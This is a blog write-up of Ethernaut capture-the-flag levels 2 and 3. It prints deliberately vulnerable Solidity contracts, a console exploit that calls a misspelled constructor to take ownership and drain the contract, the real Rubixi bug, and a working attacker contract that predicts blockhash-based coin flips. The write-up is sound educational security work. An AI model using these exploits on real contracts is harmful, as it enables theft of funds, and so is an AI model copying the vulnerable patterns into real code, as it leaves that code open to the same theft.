(This is a continuation of http://www.carlellis.co.uk/2018/10/31/ethernaut-part-1/)
Level 2 – Fallout
All you are given is a contract, and a hint about the Remix IDE. I didn’t end up using Remix for this level, but the contract is as follows:
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; contract Fallout is Ownable { mapping (address => uint) allocations; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } function allocate() public payable { allocations[msg.sender] += msg.value; } function sendAllocation(address allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(this.balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
Those with an eagle eye may have already spotted something that could be the problem.
First, lets look at all of the functions and see if there are any obvious paths that let us steal ownership. Nothing about ownership, but collectAllocations()
looks promising for draining the contract once we have seized control. The constructor is the only thing that touches ownership.
The reason that the level hint wants you to go to Remix is so that you would get sensible compile warnings, such as “No constructor”, as you may have noticed that there is a typo in this contract’s constructor. Fal1out instead of Fallout. Oh.
await contract.Fal1out({from: player, value:toWei(0.0009)}; await contract.collectAllocations();
Submitted the drained contract, you get presented with a bit of Ethereum history, courtesy of ethernaut.zeppelin.solutions .
That was silly wasn’t it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?
Well… Not quite.
The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from ‘Dynamic Pyramid’ to ‘Rubixi’ but somehow they didn’t rename the constructor method of its contract:
contract Rubixi { address private owner; function DynamicPyramid() {owner = msg.sender;} function collectAllFees() {owner.transfer(this.balance)} ...This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland.
Level 3 – Coin Flip
This level, you are presented with a contract that doesn’t have any syntactical errors or dodgy fallback functions. This is a good old fashioned deterministic random function problem. To win ownership of this contract, you must “guess” the result of a heads/tails coin flip 10 times in a row. Unless you are very lucky, the chances of legitimately doing that is 2-10 (0.09765625%). Let’s look at the contract:
pragma solidity ^0.4.18; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number-1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
We have the advantage of seeing exactly how the coin flip will be determined. flip()
takes the block hash of the previous block to what the current transaction is running in and then divides the block hash by FACTOR
and checks the resulting value. If it is < 1, the cast to int will return 0, if 1 ≤ v < 2 the cast will return 1, and anything ≥ 2 will return a value larger than 1.
However, while it is easy to reverse engineer the coin flip, it is not easy to guarantee the block number that the function will be executed on. I could look up what the current block number is, and assume that will be the parent of the block that flip will run on, and guess accordingly. What is the transaction is instead put on the following block? We’d lose the streak and have to start all over again.
There is another way which took a while for me to understand, as I’m not from around these parts and have never really created a smart contract. The other way … is to build our own smart contract. This can then reference the CoinFlip contract and we can guarantee that the flip function that we will call is run in the same transaction.
But, how do we reference the correct contract instance? How do we publish a smart contract? Time to load up Remix IDE. (This was actually a bit of a pain, as I’m running Windows. However, once I had Visual Studio Build tools installed I could get the IDE running). It looks like this:
I made a new file, copied in the CoinFlip contract and then added my own beneath it (so I could reference the original contract)
contract CoinBreak { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; CoinFlip flipper; function CoinBreak(address flipperaddr) public { flipper = CoinFlip(flipperaddr); } function breakcoin() public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number-1)); uint256 coinFlip = blockValue / FACTOR; bool coin = coinFlip == 1 ? true : false; return flipper.flip(coin); } }
This contract takes an address to a CoinFlip contract in its constructor, and then recreates the coin flip logic to get a correct guess. Because our contract references and executes functions on CoinFlip, it will be run in the same transaction, and thus, get the same block hashes.
Calling breakcoin()
10 times is tedious, but it gets consecutiveWins
to 10, winning the challenge.